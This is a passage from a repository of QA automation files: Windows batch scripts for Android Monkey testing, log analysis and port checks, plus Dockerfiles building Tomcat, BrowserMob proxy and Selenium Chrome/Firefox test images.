( 124 | 125 | ECHO.[ INFO ] 分析Monkey日志存在: 执行成功标记 126 | 127 | ECHO.[ INFO ] ------------------------------------ 128 | 129 | ECHO. "%strFinished%" 130 | 131 | ECHO. 132 | 133 | ) ELSE ( 134 | 135 | IF %blnException% EQU 0 ECHO.[ INFO ] 分析Monkey日志结果: Monkey执行异常中断,请重新执行Monkey脚本! 136 | 137 | ECHO. 138 | 139 | ) 140 | 141 | 142 | 143 | REM 如果blnException不为0,说明存在异常,改变字体为淡紫色 144 | 145 | IF %blnException% NEQ 0 ( 146 | 147 | Color 0D 148 | 149 | ECHO.[ INFO ] 分析Monkey日志结果:存在异常日志,请手工再仔细检查! 150 | 151 | ECHO. 152 | 153 | ) ELSE ( 154 | 155 | ECHO.[ INFO ] 分析Monkey日志结果:正常 156 | 157 | ECHO. 158 | 159 | ) 160 | 161 | ECHO. 162 | 163 | ECHO.[ EXIT ] 按任意键关闭窗口... 164 | 165 | PAUSE>nul -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_no_env/monkey_log_analysis.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 4 | 5 | ECHO.:: 分析Monkey日志 :: 6 | 7 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 8 | 9 | REM 方法一:手动设置Monkey日志路径 10 | 11 | SET monkeyLogFile=F:\Monkey\20140808\FindyouV1.0.0\20140825181801_monkey.log 12 | 13 | 14 | 15 | REM 方法二:直接将Monkey日志拖到此bat文件上 16 | 17 | IF NOT "%1"=="" SET monkeyLogFile=%1 18 | 19 | 20 | 21 | ECHO.[ INFO ] Monkey日志: %monkeyLogFile% 22 | 23 | ECHO.[ INFO ] 开始分析 24 | 25 | SET blnException=0 26 | 27 | ECHO. 28 | 29 | ECHO. 30 | 31 | REM 如果觉得分析太快,没有感觉,把下面注释去掉假装分析中,有停顿感 32 | 33 | REM ping -n 2 127.0.0.1>nul 34 | 35 | 36 | 37 | ::ANR日志 38 | 39 | FOR /F "delims=" %%a IN ('FINDSTR /C:"ANR" %monkeyLogFile%') DO ( 40 | 41 | SET strANR=%%a 42 | 43 | ) 44 | 45 | 46 | 47 | ::崩溃日志 48 | 49 | FOR /F "delims=" %%a IN ('FINDSTR /C:"CRASH" %monkeyLogFile%') DO ( 50 | 51 | SET strCRASH=%%a 52 | 53 | ) 54 | 55 | 56 | 57 | ::异常日志 58 | 59 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Exception" %monkeyLogFile%') DO ( 60 | 61 | SET strException=%%a 62 | 63 | ) 64 | 65 | 66 | 67 | ::正常 68 | 69 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Monkey finished" %monkeyLogFile%') DO ( 70 | 71 | SET strFinished=%%a 72 | 73 | ) 74 | 75 | 76 | 77 | IF NOT "%strANR%" == "" ( 78 | 79 | ECHO.[ INFO ] 分析Monkey日志存在: ANR 80 | 81 | ECHO.[ INFO ] ------------------------------------ 82 | 83 | ECHO. "%strANR%" 84 | 85 | SET /a blnException+=1 86 | 87 | ECHO. 88 | 89 | ) 90 | 91 | 92 | 93 | IF NOT "%strCRASH%" == "" ( 94 | 95 | ECHO.[ INFO ] 分析Monkey日志存在: CRASH 96 | 97 | ECHO.[ INFO ] ------------------------------------ 98 | 99 | ECHO. "%strCRASH%" 100 | 101 | SET /a blnException+=1 102 | 103 | ECHO. 104 | 105 | ) 106 | 107 | 108 | 109 | IF NOT "%strException%" == "" ( 110 | 111 | ECHO.[ INFO ] 分析Monkey日志存在: 异常 112 | 113 | ECHO.[ INFO ] ------------------------------------ 114 | 115 | ECHO. "%strException%" 116 | 117 | SET /a blnException+=1 118 | 119 | ) 120 | 121 | 122 | 123 | IF NOT "%strFinished%" == "" ( 124 | 125 | ECHO.[ INFO ] 分析Monkey日志存在: 执行成功标记 126 | 127 | ECHO.[ INFO ] ------------------------------------ 128 | 129 | ECHO. "%strFinished%" 130 | 131 | ECHO. 132 | 133 | ) ELSE ( 134 | 135 | IF %blnException% EQU 0 ECHO.[ INFO ] 分析Monkey日志结果: Monkey执行异常中断,请重新执行Monkey脚本! 136 | 137 | ECHO. 138 | 139 | ) 140 | 141 | 142 | 143 | REM 如果blnException不为0,说明存在异常,改变字体为淡紫色 144 | 145 | IF %blnException% NEQ 0 ( 146 | 147 | Color 0D 148 | 149 | ECHO.[ INFO ] 分析Monkey日志结果:存在异常日志,请手工再仔细检查! 150 | 151 | ECHO. 152 | 153 | ) ELSE ( 154 | 155 | ECHO.[ INFO ] 分析Monkey日志结果:正常 156 | 157 | ECHO. 158 | 159 | ) 160 | 161 | ECHO. 162 | 163 | ECHO.[ EXIT ] 按任意键关闭窗口... 164 | 165 | PAUSE>nul -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_script.bat: -------------------------------------------------------------------------------- 1 | # adb shell monkey -v --throttle 300 --pct-touch 30 --pct-motion 20 --pct-nav 20 --pct-majornav 15 --pct-appswitch 5 --pct-anyevent 5 --pct-trackball 0 --pct-syskeys 0 -p com.yykk.phone 1000 2 | # monkey --monitor-native-crashes --kill-process-after-error --pct-trackball 0 --pct-nav 10 --pct-anyevent 10 -v -v --throttle 500 -p com.yykk.phone 5880000 >>/sdcard/log.log 2>>/sdcard/log_err.log 3 | adb shell monkey --monitor-native-crashes --kill-process-after-error --pct-trackball 0 --pct-nav 10 --pct-anyevent 10 -v -v --throttle 500 -p com.yykk.phone 5880000 > d:\apadlog.txt -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_with_config.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 4 | ECHO.:: Monkey测试 :: 5 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 6 | 7 | IF NOT EXIST %~dp0\config.conf GOTO EXIT 8 | 9 | ECHO.[ INFO ] 准备Monkey测试 10 | 11 | ECHO.[ INFO ] 读取config.conf中信息 12 | 13 | REM 从配置文件中获得包名 14 | 15 | FOR /F "tokens=1,2 delims==" %%a in (config.conf) do ( 16 | 17 | IF %%a == packageName SET packageName=%%b 18 | 19 | IF %%a == appEnName SET appEnName=%%b 20 | 21 | IF %%a == appversion SET appversion=%%b 22 | 23 | ) 24 | 25 | 26 | REM 获取日期,格式为:20140808 27 | 28 | SET c_date=%date:~0,4%%date:~5,2%%date:~8,2% 29 | 30 | 31 | REM 获取得小时,格式为:24小时制,10点前补0 32 | 33 | SET c_time=%time:~0,2% 34 | 35 | IF /i %c_time% LSS 10 ( 36 | 37 | SET c_time=0%time:~1,1% 38 | 39 | ) 40 | 41 | 42 | REM 组合小时、分、秒,格式为: 131420 43 | 44 | SET c_time=%c_time%%time:~3,2%%time:~6,2% 45 | 46 | REM 将当运行时间点做为日志文件名 47 | 48 | SET logfilename=%c_date%%c_time% 49 | 50 | 51 | REM 创建当天日期目录及测试APP日志保存目录 52 | 53 | IF NOT EXIST %~dp0\%c_date% md %~dp0\%c_date% 54 | 55 | SET logdir="%~dp0\%c_date%\%appEnName%%appversion%" 56 | 57 | IF NOT EXIST %logdir% ( 58 | 59 | ECHO.[ Exec ] 创建目录:%c_date%\%appEnName%%appversion% 60 | 61 | md %logdir% 62 | 63 | ) 64 | 65 | 66 | 67 | REM 获得手机信息,显示并保存 68 | 69 | adb shell cat /system/build.prop>phone.info 70 | 71 | FOR /F "tokens=1,2 delims==" %%a in (phone.info) do ( 72 | 73 | IF %%a == ro.build.version.release SET androidOS=%%b 74 | 75 | IF %%a == ro.product.model SET model=%%b 76 | 77 | IF %%a == ro.product.brand SET brand=%%b 78 | 79 | ) 80 | 81 | del /a/f/q phone.info 82 | 83 | ECHO.[ INFO ] 读取Phone信息 84 | 85 | ECHO. 手机品牌: %brand% 86 | 87 | ECHO. 手机型号: %model% 88 | 89 | ECHO. 系统版本: Android %androidOS% 90 | 91 | ECHO.Phone信息>"%logdir%\%logfilename%_%model%.txt" 92 | 93 | ECHO.手机品牌: %brand%>>"%logdir%\%logfilename%_%model%.txt" 94 | 95 | ECHO.手机型号: %model%>>"%logdir%\%logfilename%_%model%.txt" 96 | 97 | ECHO.系统版本: Android %androidOS%>>"%logdir%\%logfilename%_%model%.txt" 98 | 99 | 100 | 101 | ECHO. 102 | 103 | ECHO.[ Exec ] 使用Logcat清空Phone中log 104 | 105 | adb logcat -c 106 | 107 | REM ECHO.[ INFO ] 暂停2秒... 108 | 109 | ping -n 2 127.0.0.1>nul 110 | 111 | ECHO. 112 | 113 | ECHO.[ INFO ] 开始执行Monkey命令 114 | 115 | REM ECHO.[ INFO ] 强制关闭准备测试的APP 116 | 117 | adb shell am force-stop %packageName% 118 | 119 | 120 | 121 | :::::::::::::::::Monkey测试命令:::::::::::::::::::::::: 122 | 123 | ::::::::::::修改策略请仅在此区域内修改::::::::::::::::: 124 | 125 | ECHO.[ Exec ] adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000 126 | 127 | 128 | 129 | adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000>%logdir%\%logfilename%_monkey.log 130 | 131 | 132 | 133 | ::::::::::::修改策略请仅在此区域内修改::::::::::::::::: 134 | 135 | ::::::::::::::::::::::END:::::::::::::::::::::::::::::: 136 | 137 | ECHO.[ INFO ] 执行Monkey命令结束 138 | 139 | ECHO. 140 | 141 | 142 | 143 | ECHO.[ Exce ] 手机截屏 144 | 145 | adb shell screencap -p /sdcard/monkey_run_end.png 146 | 147 | ECHO.[ INFO ] 拷贝截屏图片至电脑 148 | 149 | adb pull /sdcard/monkey_run_end.png %logdir% 150 | 151 | cd %logdir% 152 | 153 | ren monkey_run_end.png %logfilename%.png 154 | 155 | 156 | 157 | ECHO. 158 | 159 | ECHO.[ Exec ] 使用Logcat导出日志 160 | 161 | adb logcat -d >%logdir%\%logfilename%_logcat.log 162 | 163 | 164 | 165 | REM ECHO. 166 | 167 | REM ECHO.[ Exec ] 导出traces文件 168 | 169 | REM adb shell cat /data/anr/traces.txt>%logfilename%_traces.log 170 | 171 | 172 | 173 | REM 待扩展,上传日志至服务器 174 | 175 | 176 | 177 | :EXIT 178 | 179 | ECHO. 180 | 181 | ECHO.[ INFO ] 请按任意键关闭窗口... 182 | PAUSE>nul 183 | -------------------------------------------------------------------------------- /bat/selenium-server.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | if "%1" == "h" goto begin 3 | mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit 4 | :begin 5 | chcp 65001 6 | setlocal enabledelayedexpansion 7 | :: 设置端口号 8 | set port=5037 9 | :: 设置当前目录下的文件名 10 | set filepath="node.log" 11 | :: 设置taskkill /f /pid !pid! 12 | for /f "tokens=1-5" %%a in ('netstat -ano ^| findstr LISTENING ^| findstr ":%port%"') do ( 13 | if "%%e%" == "" ( 14 | set pid=%%d 15 | ) else ( 16 | set pid=%%e 17 | ) 18 | echo !pid! service is running 19 | taskkill /f /pid !pid! 20 | goto delefile 21 | echo =================== 22 | ) 23 | :: 查看是否有某个文件并将其删除,并检查 24 | :delefile 25 | if exist %filepath% ( 26 | echo %filepath% is exist 27 | del %filepath% 28 | goto delefile 29 | ) else ( 30 | echo %filepath% is not exist 31 | ) 32 | :: 启动node服务,不同的情况不同设置 注意不同的项目有不同的路径 33 | start /b java -jar selenium-server-standalone-2.53.1.jar -Dwebdriver.chrome.driver="driver/chromedriver.exe" -browser browserName="chrome" -log node.log -------------------------------------------------------------------------------- /bat/service_port_chk.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | rem 端口占用检测工具 3 | rem gcy 4 | rem 20150701 5 | rem V1.2 6 | setlocal enabledelayedexpansion 7 | REM mode con lines=10 cols=55 8 | :listen 9 | set /p listen=请输入服务端口号: 10 | (for /f "delims=: tokens=2,3" %%i in ('netstat -ano -p TCP') do ( 11 | echo %%i %%j 12 | ))>"netstat.txt" 13 | findstr /C:"%listen%" netstat.txt>nul 14 | if not errorlevel 0 goto notused else goto used 15 | :used 16 | (for /f "tokens=1,5" %%j in ('findstr /C:"%listen%" netstat.txt') do ( 17 | echo %%j %%k 18 | ))>"netstat_port.txt" 19 | for /f "tokens=1*" %%j in ('type "netstat_port.txt"') do ( 20 | if %%j==%listen% ( 21 | echo. 22 | REM echo %listen% 端口已被PID为[%%k]的进程占用 23 | TASKLIST /FI "PID eq %%k" 24 | echo. 25 | del "netstat.txt" 26 | del "netstat_port.txt" 27 | goto listen 28 | )) 29 | :notused 30 | echo. 31 | echo %listen% 端口未被占用 32 | echo. 33 | del "netstat.txt" 34 | del "netstat_port.txt" 35 | goto listen -------------------------------------------------------------------------------- /bat/test-datetime-1.bat: -------------------------------------------------------------------------------- 1 | :: 脚本创建时最好选择GB2312编码(方式很简单,新建txt文件,输入几个中文字符保存后将后缀.txt改成.bat) 2 | :: @echo off 表示不回显执行的命令 3 | @echo off 4 | @echo =========Windows的原本日期时间格式======================= 5 | :: 设置变量,使用变量时需要用一对%包起来 6 | set ORIGINAL_DATE=%date% 7 | echo %ORIGINAL_DATE% 8 | 9 | @echo =========日期按照YYYY-MM-DD格式显示====================== 10 | :: 日期截取遵从格式 %date:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0) 11 | :: windows下DOS窗口date的结果 2016/09/03 周六 12 | :: 年份从第0位开始截取4位,月份从第5位开始截取2位,日期从第8位开始截取2位 13 | set CURRENT_DATE=%date:~0,4%-%date:~5,2%-%date:~8,2% 14 | echo %CURRENT_DATE% 15 | 16 | @echo =========时间按照HH:MM:SS格式显示======================== 17 | :: 时间截取遵从格式 %time:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0) 18 | :: windows下DOS窗口time的结果 12:05:49.02 19 | :: 时钟从第0位开始截取2位,分钟从第3位开始截取2位,秒钟从第6位开始截取2位 20 | set CURRENT_TIME=%time:~0,2%:%time:~3,2%:%time:~6,2% 21 | echo %CURRENT_TIME% 22 | 23 | @echo =========日期时间按照YYYY-MM-DD HH:MM:SS格式显示========= 24 | set CURRENT_DATE_TIME=%date:~0,4%-%date:~5,2%-%date:~8,2%-%time:~0,2%:%time:~3,2%:%time:~6,2% 25 | echo %CURRENT_DATE_TIME% 26 | 27 | @echo =========日期时间按照YYYYMMDD_HHMMSS格式显示============= 28 | set CURRENT_DATE_TIME_STAMP=%date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2% 29 | echo %CURRENT_DATE_TIME_STAMP% 30 | @echo ========================================================= -------------------------------------------------------------------------------- /bat/test-datetime.bat: -------------------------------------------------------------------------------- 1 | :: 编码格式 GB2312 2 | :: 脚本创建时最好选择GB2312编码(方式很简单,新建txt文件,输入几个中文字符保存后将后缀.txt改成.bat) 3 | :: @echo off 表示不回显执行的命令 4 | @echo off 5 | @echo =========Windows的原本日期时间格式======================= 6 | :: 设置变量,使用变量时需要用一对%包起来 7 | set ORIGINAL_DATE=%date% 8 | echo %ORIGINAL_DATE% 9 | 10 | @echo =========日期按照YYYY-MM-DD格式显示====================== 11 | :: 日期截取遵从格式 %date:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0) 12 | :: windows下DOS窗口date的结果 2016/09/03 周六 13 | :: 年份从第0位开始截取4位,月份从第5位开始截取2位,日期从第8位开始截取2位 14 | 15 | set YEAR=%date:~0,4% 16 | set MONTH=%date:~5,2% 17 | set DAY=%date:~8,2% 18 | set CURRENT_DATE=%YEAR%-%MONTH%-%DAY% 19 | echo %CURRENT_DATE% 20 | 21 | @echo =========时间按照HH:MM:SS格式显示======================== 22 | :: 时间截取遵从格式 %time:~x,y%,表示从第x位开始,截取y个长度(x,y的起始值为0) 23 | :: windows下DOS窗口time的结果 12:05:49.02 24 | :: 时钟从第0位开始截取2位,分钟从第3位开始截取2位,秒钟从第6位开始截取2位 25 | 26 | set HOUR=%time:~0,2% 27 | set MINUTE=%time:~3,2% 28 | set SECOND=%time:~6,2% 29 | 30 | :: 当时钟小于等于9时,前面有个空格,这时我们少截取一位,从第1位开始截取 31 | set TMP_HOUR=%time:~1,1% 32 | set NINE=9 33 | set ZERO=0 34 | :: 处理时钟是个位数的时候前面补上一个0, LEQ表示小于等于 35 | if %HOUR% LEQ %NINE% set HOUR=%ZERO%%TMP_HOUR% 36 | 37 | set CURRENT_TIME=%HOUR%:%MINUTE%:%SECOND% 38 | echo %CURRENT_TIME% 39 | 40 | @echo =========日期时间按照YYYY-MM-DD HH:MM:SS格式显示========= 41 | set CURRENT_DATE_TIME=%YEAR%-%MONTH%-%DAY% %HOUR%:%MINUTE%:%SECOND% 42 | echo %CURRENT_DATE_TIME% 43 | 44 | @echo =========日期时间按照YYYYMMDD_HHMMSS格式显示============= 45 | set CURRENT_DATE_TIME_STAMP=%YEAR%%MONTH%%DAY%_%HOUR%%MINUTE%%SECOND% 46 | echo %CURRENT_DATE_TIME_STAMP% 47 | @echo ========================================================= 48 | rem 获取周几 49 | 50 | set week=%DATE:~-2,-1% 51 | 52 | echo %week% -------------------------------------------------------------------------------- /bat/virtual_wifi_start.bat: -------------------------------------------------------------------------------- 1 | netsh wlan start hostednetwork -------------------------------------------------------------------------------- /bat/virtual_wifi_stop.bat: -------------------------------------------------------------------------------- 1 | netsh wlan stop hostednetwork -------------------------------------------------------------------------------- /bat/win-port-open.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | color 1f 3 | Title XP端口-进程查询 4 | setlocal enabledelayedexpansion 5 | echo ╔- -╗ 6 | echo 本机开放的端口及使用该端口的进程 7 | echo ╚- -╝ 8 | echo ------------------------------------ 9 | echo 端口号 进程名称 10 | ECHO TCP协议: 11 | ::利用netstat命令找出使用TCP协议通信的端口,并将结果分割; 12 | ::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j; 13 | for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do ( 14 | call :Assoc %%i TCP %%j 15 | echo !TCP_Port! !TCP_Proc_Name! 16 | )

ECHO UDP协议: 17 | for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do ( 18 | call :Assoc %%i UDP %%j 19 | echo !UDP_Port! !UDP_Proc_Name! 20 | ) 21 | echo 按任意键退出 22 | pause>nul

:Assoc 23 | ::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号) 24 | for /F "tokens=2 delims=:" %%e in ("%1") do ( 25 | set %2_Port=%%e 26 | ) 27 | :: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP; 28 | for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do ( 29 | ::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。 30 | set %2_Proc_Name=%%~a 31 | ) -------------------------------------------------------------------------------- /docker/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/base/base-tomcat-8: -------------------------------------------------------------------------------- 1 | FROM docker.qadev.com/official/debian:buster-20210111-slim 2 | 3 | LABEL maintainer="jayzhen@qadev-inc.com" 4 | LABEL use-for="tomcat" 5 | LABEL version="debian-buster-20210111-slim" 6 | 7 | ADD ./lib/jdk-8u271-linux-x64.tar.gz /usr/local/ 8 | ADD ./lib/apache-tomcat-8.5.61.tar.gz /usr/local/ 9 | 10 | ENV JAVA_HOME /usr/local/jdk1.8.0_271 11 | ENV CLASSPATH $JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 12 | ENV CATALINA_HOME /usr/local/apache-tomcat-8.5.61 13 | ENV CATALINA_BASE /usr/local/apache-tomcat-8.5.61 14 | ENV PATH $PATH:$JAVA_HOME/bin:$CATALINA_HOME/lib:$CATALINA_HOME/bin 15 | 16 | RUN cd $CATALINA_HOME && rm -rf ./webapps && mkdir webapps \ 17 | && chmod -R +rX . \ 18 | && chmod 777 logs temp work 19 | 20 | WORKDIR $CATALINA_HOME 21 | 22 | EXPOSE 8080 23 | 24 | CMD ["catalina.sh", "run"] 25 | -------------------------------------------------------------------------------- /docker/Dockerfile/browsermob/browsermob: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u262-slim 2 | 3 | MAINTAINER jayzhen 4 | 5 | ADD browsermob-proxy-2.1.4/ /usr/src/ 6 | 7 | WORKDIR /usr/src 8 | 9 | EXPOSE 8080 10 | EXPOSE 11033-11022 11 | 12 | CMD ["/usr/src/bin/browsermob-proxy","-port","8080"] 13 | -------------------------------------------------------------------------------- /docker/Dockerfile/browsermob/browsermob-proxy-2.1.4-bin.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/browsermob/browsermob-proxy-2.1.4-bin.zip -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/chrome/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/2.53.1/chrome-dbg-zh-2.53.1: -------------------------------------------------------------------------------- 1 | FROM selenium/standalone-chrome-debug:2.53.1 2 | MAINTAINER jayzhen 3 | 4 | USER seluser 5 | 6 | #============================== 7 | # Generating the VNC password as seluser 8 | # So the service can be started with seluser 9 | #============================== 10 | 11 | RUN mkdir -p ~/.vnc \ 12 | && x11vnc -storepasswd 123456 ~/.vnc/passwd 13 | 14 | USER root 15 | 16 | #===== 17 | # chinese 18 | #===== 19 | 20 | RUN apt-get update \ 21 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 22 | && apt-get clean \ 23 | 24 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/2.53.1/chrome-zh-2.53.1: -------------------------------------------------------------------------------- 1 | FROM selenium/standalone-chrome:2.53.1 2 | MAINTAINER jayzhen 3 | 4 | USER root 5 | 6 | #==================== 7 | # chinese and No Gui 8 | #==================== 9 | 10 | RUN apt-get update \ 11 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 12 | && apt-get -y install vim \ 13 | && apt-get clean 14 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.0/chrome-dbg-zh-3.141: -------------------------------------------------------------------------------- 1 | FROM selenium/standalone-chrome-debug:3.141.0 2 | MAINTAINER jayzhen 3 | 4 | USER root 5 | 6 | #============= 7 | # chinese 8 | #============= 9 | 10 | RUN apt-get update \ 11 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 12 | && apt-get -y install vim \ 13 | && apt-get -y install cron \ 14 | && apt-get clean 15 | 16 | #ADD crontab /etc/cron.d/cron-file 17 | #RUN chmod 0644 /etc/cron.d/cron-file 18 | #RUN touch /var/log/cron.log 19 | #RUN crontab /etc/cron.d/cron-file 20 | #RUN crontab -l 21 | 22 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.0/chrome-dbg-zh-3.141.59: -------------------------------------------------------------------------------- 1 | FROM selenium/standalone-chrome-debug:3.141.59 2 | MAINTAINER jayzhen 3 | 4 | 5 | # 改变node的启动参数 6 | 7 | ENV NODE_MAX_INSTANCES 5 8 | ENV NODE_MAX_SESSION 5 9 | 10 | USER root 11 | 12 | #============= 13 | # chinese 14 | #============= 15 | 16 | RUN apt-get update \ 17 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 18 | && apt-get -y install vim \ 19 | && apt-get -y install cron \ 20 | && apt-get clean -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.0/uts-hub-3.141: -------------------------------------------------------------------------------- 1 | FROM selenium/hub:3.141.0 2 | 3 | LABEL authors="jwensh " 4 | 5 | USER root 6 | 7 | #============= 8 | # chinese 9 | 10 | RUN apt-get update \ 11 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 12 | && apt-get -y install vim \ 13 | && apt-get -y install cron \ 14 | && apt-get clean 15 | 16 | 17 | 18 | #============= 19 | # ulimit 20 | 21 | RUN echo 'root hard core 0' >> /etc/security/limits.conf \ 22 | && echo 'root soft core 0' >> /etc/security/limits.conf -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.0/uts-node-chrome-3.141: -------------------------------------------------------------------------------- 1 | FROM selenium/node-chrome-debug:3.141.0 2 | 3 | LABEL authors="jwensh " 4 | 5 | USER root 6 | 7 | #============= 8 | # chinese 9 | #============= 10 | 11 | RUN apt-get update \ 12 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 13 | && apt-get -y install vim \ 14 | && apt-get -y install cron \ 15 | && apt-get clean 16 | 17 | 18 | #============= 19 | # ulimit 20 | 21 | RUN echo 'root hard core 0' >> /etc/security/limits.conf \ 22 | && echo 'root soft core 0' >> /etc/security/limits.conf -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.0/uts-node-firefox-3.141: -------------------------------------------------------------------------------- 1 | FROM selenium/node-firefox-debug:3.141.0 2 | 3 | LABEL authors="jwensh " 4 | 5 | USER root 6 | 7 | #============= 8 | # chinese 9 | #============= 10 | 11 | RUN apt-get update \ 12 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 13 | && apt-get -y install vim \ 14 | && apt-get -y install cron \ 15 | && apt-get clean 16 | 17 | #============= 18 | # ulimit 19 | 20 | RUN echo 'root hard core 0' >> /etc/security/limits.conf \ 21 | && echo 'root soft core 0' >> /etc/security/limits.conf -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/chrome-dbg-zh-3.141.5: -------------------------------------------------------------------------------- 1 | FROM selenium/node-base:3.141.5-astatine 2 | LABEL authors=jwensh 3 | MAINTAINER jayzhen 4 | 5 | 6 | # 改变node的启动参数 7 | ENV NODE_MAX_INSTANCES 5 8 | ENV NODE_MAX_SESSION 5 9 | 10 | 11 | #============================================ 12 | # selenium/node-chrome:3.141.5-astatine 13 | #============================================ 14 | 15 | 16 | USER root 17 | 18 | #============================================ 19 | # Google Chrome 20 | #============================================ 21 | 22 | COPY linux_signing_key.pub /opt/selenium/linux_signing_key.pub 23 | 24 | ARG CHROME_VERSION="google-chrome-stable" 25 | # RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 26 | RUN apt-key add /opt/selenium/linux_signing_key.pub \ 27 | && echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list \ 28 | && apt-get update -qqy \ 29 | && apt-get -qqy install \ 30 | ${CHROME_VERSION:-google-chrome-stable} \ 31 | && rm /etc/apt/sources.list.d/google-chrome.list \ 32 | && rm -rf /var/lib/apt/lists/* /var/cache/apt/* 33 | 34 | #================================= 35 | # Chrome Launch Script Wrapper 36 | #================================= 37 | COPY wrap_chrome_binary /opt/bin/wrap_chrome_binary 38 | RUN /opt/bin/wrap_chrome_binary 39 | 40 | USER seluser 41 | 42 | #============================================ 43 | # Chrome webdriver 44 | #============================================ 45 | 46 | ARG CHROME_DRIVER_VERSION="latest" 47 | RUN CD_VERSION=$(if [ ${CHROME_DRIVER_VERSION:-latest} = "latest" ]; then echo $(wget -qO- https://chromedriver.storage.googleapis.com/LATEST_RELEASE); else echo $CHROME_DRIVER_VERSION; fi) \ 48 | && echo "Using chromedriver version: "$CD_VERSION \ 49 | && wget --no-verbose -O /tmp/chromedriver_linux64.zip https://chromedriver.storage.googleapis.com/$CD_VERSION/chromedriver_linux64.zip \ 50 | && rm -rf /opt/selenium/chromedriver \ 51 | && unzip /tmp/chromedriver_linux64.zip -d /opt/selenium \ 52 | && rm /tmp/chromedriver_linux64.zip \ 53 | && mv /opt/selenium/chromedriver /opt/selenium/chromedriver-$CD_VERSION \ 54 | && chmod 755 /opt/selenium/chromedriver-$CD_VERSION \ 55 | && sudo ln -fs /opt/selenium/chromedriver-$CD_VERSION /usr/bin/chromedriver 56 | 57 | COPY generate_config /opt/bin/generate_config 58 | 59 | # Generating a default config during build time 60 | RUN /opt/bin/generate_config > /opt/selenium/config.json 61 | 62 | 63 | #============================================ 64 | # selenium/node-chrome:3.141.5-astatine 65 | #============================================ 66 | USER root 67 | 68 | #===== 69 | # VNC 70 | #===== 71 | RUN apt-get update -qqy \ 72 | && apt-get -qqy install \ 73 | x11vnc \ 74 | && rm -rf /var/lib/apt/lists/* /var/cache/apt/* 75 | 76 | #========= 77 | # fluxbox 78 | # A fast, lightweight and responsive window manager 79 | #========= 80 | RUN apt-get update -qqy \ 81 | && apt-get -qqy install \ 82 | fluxbox \ 83 | && rm -rf /var/lib/apt/lists/* /var/cache/apt/* 84 | 85 | USER seluser 86 | 87 | #============================== 88 | # Generating the VNC password as seluser 89 | # So the service can be started with seluser 90 | #============================== 91 | 92 | RUN mkdir -p ${HOME}/.vnc \ 93 | && x11vnc -storepasswd secret ${HOME}/.vnc/passwd 94 | 95 | #========== 96 | # Relaxing permissions for OpenShift and other non-sudo environments 97 | #========== 98 | RUN sudo chmod -R 777 ${HOME} \ 99 | && sudo chgrp -R 0 ${HOME} \ 100 | && sudo chmod -R g=u ${HOME} 101 | 102 | #============================== 103 | # Scripts to run fluxbox and x11vnc 104 | #============================== 105 | COPY start-fluxbox.sh \ 106 